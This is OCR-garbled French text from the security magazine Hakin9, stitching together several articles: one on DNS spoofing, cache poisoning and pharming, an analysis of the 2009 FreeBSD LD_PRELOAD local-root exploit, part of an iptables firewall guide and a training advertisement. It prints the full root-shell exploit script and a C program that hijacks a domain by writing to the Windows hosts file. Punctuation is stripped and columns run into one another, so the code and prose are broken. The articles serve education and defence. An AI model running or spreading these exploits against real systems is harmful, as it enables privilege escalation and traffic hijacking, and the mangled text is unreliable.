Cet article explique bull le principe des attaques possibles sur le protocole DNS Dans

un second temps nous nous inteacuteresserons aux moyens mis en place pour eacuteviter les risques et preacutevenir les utilisateurs

Ce quil faut savoir bull certaines notions sur le protocole DNS et le reacuteseau en regravegle

geacuteneacuterale mais aussi sur le Web en geacuteneacuteral et en C

Paul Amar

Les attaques DNS

hakin9orgfr 41

Le DNS ID SpoofingPrenons le cas de figure suivant

Une machine A souhaite communiquer avec une ma-chine B La machine A a besoin de ladresse IP de B pour commencer la communication Or si elle ne la connaicirct pas elle utilisera le protocole DNS pour lobtenir

La machine A eacutemettra vers un serveur DNS une re-quecircte demandant ladresse IP de la machine B

Pour identifier cette requecircte parmi toutes celles que le serveur DNS reccediloit un numeacutero didentification (champ fourni dans len-tecircte que nous avons vu plus haut) lui est assigneacute

Le serveur DNS apregraves avoir reacutealiseacute le travail de-mandeacute renvoie la reacuteponse avec le mecircme numeacutero didentification

Le problegraveme est quun pirate pourrait usurper le travail du serveur DNS en faisant rediriger la victime vers une adresse IP preacutealablement choisie

De nombreuses meacutethodes permettent agrave reacutecupeacuterer ce fameux numeacutero didentification comme

bull eacutecoute du reacuteseaubull utilisation dune faille dans un des systegravemes dex-

ploitationbull utilisation dune faille dun serveur DNS

La seule condition est que le pirate renvoie la reacuteponse avant le serveur

Agrave cette fin il dispose de nombreuses pratiques comme faire un DoS sur le serveur DNS cible pour eacuteviter quil reacuteponde Cela lui laisse ainsi tout le temps

eacuteteacute peacutesenteacute plus haut avec le Reverse DNS dont le meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull Etc

Le port utiliseacute pour lenvoi de donneacutees en UDPTCP est le 53

Les principaux services utiliseacutes sont ceux qui eacutechan-gement des informations avec les enregistrements de ressources ou autrement dits les Ressource records (RR)

De nombreuses informations sont contenues dans len-tecircte correspondant aux RR (Ressource Records) comme

bull un numeacutero didentification est neacutecessaire pour dis-tinguer toutes les requecirctes DNS que le serveur re-ccediloit Cet identifiant est ensuite reacute-utiliseacute pour le ren-voi de la reacuteponse

Maintenant que nous avons vu certaines speacuteficiciteacutes du protocole DNS nous allons nous inteacuteresser aux dif-feacuterentes attaques possibles sur ce protocole

Le DNS SpoofingDeux principaux types dattaque reacutealisables relegravevent tous les deux du terme DNS Spoofing

Nous allons voir deux types dattaques le DNS ID Spoofing et le DNS Cache Poisoning

Parallegravelement nous allons traiter du pheacutenomegravene DNS Pharming qui relegraveve dune attaque DNS Cache Poisonning

Figure 1 Meacutecanismes DNS

Requecircte DNS pour le serveur website com

Jean Renvoie des informations concernant websitecom avec son IP ex 1222101

Jean se connecte agrave websitecom agrave partir de son adresse IP

Meacutecanisme reacutealiseacute par le service de DNS pour les diffeacuterentes informations

Websitecom

Serveur DNS

6201042

AttAque

de forger un paquet speacutecifique et ainsi lenvoyer agrave la victime

Lors de la reacuteception la victime pensera que le serveur DNS leacutegitime lui a renvoyeacute la reacuteponse et sera redirigeacutee vers un site frauduleux

Cette utilisation peut avoir des effets deacutevastateurs comme renvoyer vers un site qui propage un virus ren-voie sur une page de phishing hellip

Le DNS Cache PoisoningDe base un serveur DNS na des informations que pour les machines du domaine sur lequel il a autoriteacute Autre-ment dit il na pas stockeacute les informations relatives agrave dautres domaines

Si une machine A souhaite communiquer avec une machine B dun autre domaine le serveur DNS qui a autoriteacute sur la machine A contacte le serveur DNS qui a autoriteacute sur la machine B etc

Pour eacuteviter de saturer le reacuteseau il est preacutefeacuterable de garder en meacutemoire ces informations

Degraves lors si une autre machine demande agrave contacter la machine B elle pourra reacute-utiliser les informations contenues dans le cache du serveur DNS

Lattaque de DNS Cache Poisoning consiste agrave faire en sorte de corrompre ce fameux cache en inseacuterant des donneacutees voulues par le pirate

Pour que cela fonctionne il faut que le pirate ait le controcircle dun nom de domaine prenons fakecom ainsi

que le serveur DNS correspondant ayant autoriteacute sur celui-ci nsfakecom

Le pirate envoie ainsi une requecircte vers le serveur DNS cible (celui utiliseacute par la victime)

Il fait en sorte de demander la reacutesolution du nom dune machine affilieacutee au domaine fakecom

Le serveur DNS cible envoie les informations au serveur DNS du pirate (nsfakecom) qui quant agrave lui envoie les informations correspondant agrave sa demande ainsi que dautres informations compleacutementaires Ces derniegraveres auront juste pour effet de corrompre le cache du serveur DNS cible

Nous pourrions imaginer un sceacutenario ougrave le pirate cherche agrave rediriger des utilisateurs dune banque vers un site falsifieacute pour reacutecupeacuterer leurs informations person-nelles

Le laquo Pharming raquoLe pharming est une technique utiliseacutee par les pirates informatiques exploitant des vulneacuterabiliteacutes DNS

Le but est le mecircme que les attaques preacuteceacutedentes deacutetourner sa victime sur un site frauduleux en le faisant passer pour le veacuteritable

Deux types de laquo pharming raquo peuvent ecirctre mis en place

bull Le pharming local consiste agrave modifier le fichier hosts de la machine Ce fichier permet de rajouter des en-

Figure 2 hieacuterarchie du protocole DNS

Root Servers

orgcomfr

Hakin9

Les attaques DNS

hakin9orgfr 43

treacutees nom de domaine et adresse IP et il est lun des acteurs majeurs dans la navigation internet

bull Rajouter la ligne laquo 20985229104 hakin9org raquo redirigera tous les utilisateurs vers Google sils sou-haitent aller sur le site hakin9org

bull Le fait de modifier en local le fichier hosts nagit que sur les personnes utilisant le poste affecteacute Ce type de pharming ne peut pas se reacutepercuter sur dautres ordinateurs (cf Listing 1)

Lautre type possible est de compromettre le serveur DNS dont deacutepend la victime

bull Le nom est diffeacuterent mais correspond au DNS Cache Poisoning Lattaque consiste agrave alteacuterer son contenu en inseacuterant de fausses informations Degraves lors si un utilisateur recherche un certain nom de domaine compromis il se retrouvera sur un site fal-sifieacute

Figure 3 DNS ID Spoofing

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom

Le pirate eacutecoute le traffic et envoie avant le

serveur une reacuteponse DNSavec le mecircme iD

Victime

Le serveur reacutepons maismalheureusement trop tard

Figure 4 Cache Poising

Victime

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom Le pirate envoie de nombreuses donneacutees pour empoisonnser le cache DNSdu serveur cible infectant

ainsi toutes les requecirctes despcs qui utiliseront ce serveur

DNS

Pirate

Serveur CacheDNS

Le serveur DNS reacutepond via le cache emposonneacute par le pirate

6201044

AttAque

Le laquo Drive-by-pharming raquo technique en vogue de-puis de nombreuses anneacutees Cette derniegravere consiste agrave amener un internaute agrave exeacutecuter un script (souvent JavaScript) malveillant qui va modifier la configuration de son routeur personnel Il faut savoir que la plupart du temps le routeur personnel nest accessible quen LAN (agrave savoir seulement les personnes faisant par-tie du reacuteseau local accegravedent agrave linterface du routeur) et non en WAN (accessible agrave partir de la toile-mecircme cela signifie quun attaquant peut prendre le controcircle dun routeur situeacute aux Etats-Unis depuis la Russie) Le pirate utilisera linternaute comme intermeacutediaire dans son attaque pour faire en sorte quil modifie lui-mecircme les paramegravetres de sa box Ce type dattaque se reacutealise gracircce agrave des vulneacuterabiliteacutes de type CSRF (Cross Site Request Forgeries) qui ne sont autres que des formu-laires preacute-remplis exeacutecuteacutes lors du chargement de la page malicieuse Dapregraves une eacutetude de Symantec sur ce domaine 95 des utilisateurs agrave la laquo maison raquo auto-risent lexeacutecution du JavaScript dans leurs fureteurs in-ternet

Degraves lors il est possible de maniegravere transparente de changer certains paramegravetres afin de rediriger ses victimes vers des sites frauduleux

Solutions contre ces abusPour eacuteviter les problegravemes de DNS Spoofing plusieurs deacutemarches peuvent ecirctre reacutealiseacutees comme

bull Mettre agrave jour les serveurs DNS (cela permet par exemple deacuteviter des failles permettant le controcircle de ces serveurs DNS et ainsi preacutedire les numeacuteros de seacutequence correspondants)

bull Limiter le cache du serveur DNS et faire en sorte quil nenregistre pas dans sa base de donneacutees les enregistrements additionnels

bull Utiliser de la cryptographie comme SSL cela rend la vie plus difficile au pirate

bull Dans linfrastructure dune entreprise une alterna-tive serait lutilisation de deux serveurs DNS dis-tincts Lun serait accessible depuis la toile et reacute-pondrait aux demandes quil recevrait Dun autre cocircteacute un serveur DNS Interne offrirait ses servi-ces aux ordinateurs internes Les transactions quaurait ce dernier serveur DNS seraient par exemple avec les serveurs laquo racines raquo (root ser-vers) qui repreacutesentent la base de linternet Degraves lors nous pourrions plus ou moins les consideacuterer de laquo confiance raquo

Il existe en tout 13 serveurs racine du DNS situeacutes un peu partout dans le monde

Depuis peu ces 13 serveurs sont tous passeacutes agrave DNS-SEC (Domain Name System Security Extensions)

Ce protocole standardiseacute permet avant tout

bull la seacutecurisation des transactions DNS

Figure 5 changement de certains paramegravetres pour rediriger la victime vers des sites frauduleux

Victime

Site malicieurxcom

La victime va pour acceacuteder agrave un site

malicieux

Le site malicieux renvoie du code qui va faire des changements

sur sa box

Routeur de la victime accessible quagrave partir du LAN

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 18: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

Firewall

hakin9orgfr 21

bull Je veux pouvoir naviguer sur les sites web normaux et seacutecuriseacutes (HTTP HTTPS)

bull Je veux pouvoir teacuteleacutecharger et envoyer des mails (SMTP POP3 IMAP)

bull Je veux pouvoir acceacuteder au transfert de fichier (FTP)

Dans le cas preacutesent si je ne prends en compte que ces demandes je vais avoir des problegravemes Ici je ne traite pas la reacutesolution adressenom il va donc falloir ajou-ter aussi lautorisation du protocole DNS Pour faire des tests reacuteseau et veacuterifier que mon routeur fonctionne bien jaurais surement besoin dICMP Si je veux tes-ter ma machine localement jaurais surement besoin dautoriser le LOOPBACK Si dans mon reacuteseau je veux administrer ma machine agrave distance via SSH il faudra aussi le prendre en compte

tableau des fluxNous allons maintenant nous attaquer agrave la premiegravere des phases de mise en place du pare-feu agrave savoir le tableau des flux Le but est de mettre en place un tableau qui repreacutesente la totaliteacute des flux que nous voulons autori-ser Dans le futur en cas deacutevolution de notre filtrage ou danalyse plus pousseacutee le travail sera simplifieacute si nous avons un tableau il permet de comprendre plus rapide-ment la politique que lon a voulu mettre en place

Pour reacutediger une regravegle nous avons besoin de plu-sieurs paramegravetres

bull Si le flux est en entreacutee (INPUT) ou en sortie (OUT-PUT)

bull Leacutetat de la connexion (nouvelle connexion suivie de connexion)

bull Le type de protocole (ICMP TCP UDP)bull Ladressage source (dougrave provient le flux)

bull Test de la validiteacute du paquet par rapport agrave la pre-miegravere regravegle si le paquet correspond agrave une autori-sation il passe (chaine ACCEPT) sil correspond agrave une interdiction il est supprimeacute (chaine DROP) si-non il passe agrave la regravegle suivante

bull Le paquet agrave traverseacute toutes les regravegles car aucune ne lui correspondait le paquet est donc traiteacute par la politique par deacutefaut (ACCEPT ou DROP)

Afin dexploiter les possibiliteacutes de Netfilter il faut creacuteer des regravegles Ces regravegles sont composeacutees de la table pour laquelle le paquet sera traiteacute de chaines qui deacute-finissent le point de traitement (INPUT OUTPUT) le protocole les ports les adresses (hellip) ainsi que le reacute-sultat de lapplication de la regravegle (ACCEPT ou DROP)

Les bonnes pratiquesAvant de commencer la reacutedaction de regravegles il est impor-tant de ne pas tomber dans la creacuteduliteacute et dire jai un pare-feu je suis proteacutegeacute

Un pare-feu cest comme avec un parapluie sil est casseacute quil y a trop de vent ou que je ne louvre pas il ne protegravege pas de la pluie

Au lieu donc de faire nimporte quoi et de partir dans des eacutelucubrations qui donneront des regravegles incoheacuteren-tes qui laisseront passer ce qui doit ecirctre filtreacute et qui filtre-ra ce qui doit passer il faut faire une liste des besoins

Dans cet article nous allons partir sur un cas tregraves sim-ple jai une machine en frontale sur internet avec une seule carte reacuteseau je veux limiter au maximum les pos-sibiliteacutes dy acceacuteder tout en me permettant de lexploiter Bien sucircr quelques modifications simples permettront dadapter ce cas au votre (sans entrer dans des archi-tectures trop complexes voir Figure 3)

Tout dabord nous allons eacutenoncer nos besoins primai-res

Figure 2 Chaines

Figure 1 Points dencrage

6201022

Seacutecuriteacute reacuteSeaux

bull Le port sourcebull Ladressage de destination (ougrave va le flux)bull Le port destination

Pour lexemple ladresse IP de la machine sera 19216802 Consultez la Table 1 table des flux cor-respondant aux besoins de notre exemple

Ici je mautorise agrave faire un PING sur toutes les machi-nes du monde mais pas agrave reacutepondre agrave un PING prove-nant dune autre machine De mecircme je nai pas repreacute-senteacute le LOOPBACK

Lorsque lon voit ce tableau et que lon a jamais fait de regravegles iptables une question se pose tout de suite quest ce que NEW ESTABLISHED ou bien RELATED veulent dire Et bien cest assez simple NEW correspond agrave la creacuteation dune nouvelle connexion ESTABLISHED signi-fie que la connexion est deacutejagrave eacutetablie et que cest la suite

et RELATED signifie que cest une nouvelle connexion en relation avec une autre connexion Lutilisation des eacutetats permet une utilisation beaucoup plus simple en effet le pare-feu est maintenant intelligent de plus certaines fonc-tionnaliteacutes sont geacutereacutees par des modules compleacutementaires (nous verrons cela dans la partie deacutedieacutee au FTP)

Pour deacuteterminer si un paquet est la reacuteponse dun autre paquet le noyau enregistre les sessions pour les visua-liser on peut utiliser loutil conntrack pour visionner son contenu conntrack -E ou more procnetip_conntrack

Format des regravegles avec iptablesVoici comment se compose une regravegle

bull iptables (Appel de la commande)bull iptables table (si aucune nest preacuteciseacutee cest la table

FILTER) exemple (ici -t FILTER) iptables -t FILTER -P INPUT DROP

bull iptables chaicircne (chaicircne de la commande) exemple (ici -P INPUT) iptables -P INPUT -j DROP

bull iptables chaicircne motifs de reconnaissance exemple (ici -s 19216801) iptables -A INPUT -s 19216801 -j DROP

bull iptables chaicircne motifs de reconnaissance cibles exem-ple (ici -j DROP) iptables -A INPUT -s 19216801 -j DROP

La table FiLterContient les regravegles de filtrage pour les paquets entrants et sortants localement sur la machine cest la table par deacutefaut si non speacutecifieacutee Elle permet lutilisation des chaicirc-nes suivantes INPUT OUTPUT FORWARD

La table NatElle gegravere la transaction dadresse et de port elle per-met de transformer notre pare-feu en routeur Elle per-met lutilisation des chaicircnes suivantes PREROUTING POSTROUTING OUTPUT Cette table nest pas utili-seacutee dans le cadre de lIPV6

La table MaNGLeCette table est tregraves utile pour effectuer du controcircle de flux (deacutebit reacuteseau et prioriteacute) ainsi que du marquage de paquets Elle permet lutilisation des chaicircnes suivantes PREROUTING INPUT FORWARD OUTPUT POS-TROUTING

La table raWRAW sert agrave placer des marques sur les paquets qui ne doivent pas ecirctre veacuterifieacutes par le systegraveme de traccedilage de connexion (utilisation de la cible NOTRACK sur le paquet) Elle permet lutilisation des chaicircnes suivantes PREROUTING OUTPUT

Fichiers et commandes importantesAfficher la liste des regravegles de filtrage en numeacuterotant les lignes et en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port Figure 4 Sceacutenario 2

Figure 3 Sceacutenario 1

formations

Rentreacutee 2010 les incontournables

formaformaformationstionstionstionstionstionsamp Certification professionnelle

Renseignements amp Inscriptions bull Teacutel 0821 20 25 00 (prix drsquoun appel local)

bull infoglobalknowledgefr

Teacuteleacutechargez le catalogue complet sur

wwwglobalknowledgefr

Global Knowledge France - Siegravege social - Tour Albert 1er - 65 avenue de Colmar - 92507 Rueil-Malmaison cedex - Teacutel 01 78 15 34 00 - Fax 01 78 15 33 90 copy 2010 Global Knowledge Training LLC

Gestion de projet PMI Prince 2bull Introduction au management de projetsbull La gestion des projets informatiques (IT)bull PMP Bootcamp Preacuteparation agrave la certificationbull Prince 2 Foundation

Gouvernance amp Management Informatiquebull La gouvernance et performance des Systegravemes drsquoinformationbull Les tableaux de bord de la performance informatiquebull Rentabiliteacute et valeur ajouteacutee des investissements informatiquesbull Cobit Foundation et la gouvernance des SIbull ITIL v3 Foundationbull Le cas Wall Street simulation sur ITIL v3 et ISO 20000 bull ISOIEC 20000 Foundationbull ISOIEC 27002 Foundationbull Maicirctriser et accompagner les changementsbull Deacutevelopper le leadership et les qualiteacutes de pilotage des managersbull Devenez manager coach de votre eacutequipe

Formations eacuteligibles au DIF | Support de cours remis agrave chaque participant

Les Essentiels Reacuteseaux Virtualisation Voix Seacutecuriteacute

bull Les reacuteseaux architectures mise en oeuvre et perspectives bull Enjeux et solutions drsquoun environnement virtuel bull Voix sur IP les fondamentaux bull La VoIP seacutecuriseacutee bull Les fondamentaux de la seacutecuriteacute informatiquebull CISSP Preacuteparation agrave la Certification bull Hacking Defined Advanced se proteacuteger contre les agressions du SI

Reacuteseaux Ciscobull Interconnecting Cisco Network Devices Part 1 (ICND1)bull Implementing Cisco IP Routing (ROUTE) nouveaubull Implementing Cisco IP Switched Networks (SWITCH) nouveaubull Troubleshooting amp Maintaining Cisco IP Networks (TSHOOT) nouveaubull Configurer BGP sur des routeurs Cisco (BGP)bull Cisco IPV6 Concepts Design et Deacuteploiement (IPV6)bull Implementing Cisco MPLS (MPLS)bull Mettre en oeuvre une infrastructure Cisco MultiCast (ICMI) nouveaubull Mettre en oeuvre CiscoWorks LMS (CWLMS)bull Mettre en oeuvre la seacutecuriteacute des reacuteseaux IOS Cisco (IINS)bull Seacutecuriser les reacuteseaux avec des routeurs et switches Cisco (SNRS)bull Les fondamentaux de la seacutecuriteacute des reacuteseaux avec Cisco ASA (SNAF)bull Cisco Wireless Lan Fundamentals (CWLF)bull Mettre en oeuvre Cisco IOS Unified Communications (IIUC)bull Cisco La Voix sur IP version 60 (CVOICEV6)bull Mettre en oeuvre la Qos Cisco (QOS)bull Cisco IP Telephony Part 1 version 6 (CIPT1V6)bull Data Center Network Infrastructure (DCNI-1)

Plus de 350 formations agreacuteeacutees par les eacutediteurs et constructeurs et 4000 sessions deacutelivreacutees par an font de Global Knowledge un organisme de formation reacutefeacuterent en informatique en management des Systegravemes drsquoInformation et gestion de projets IT

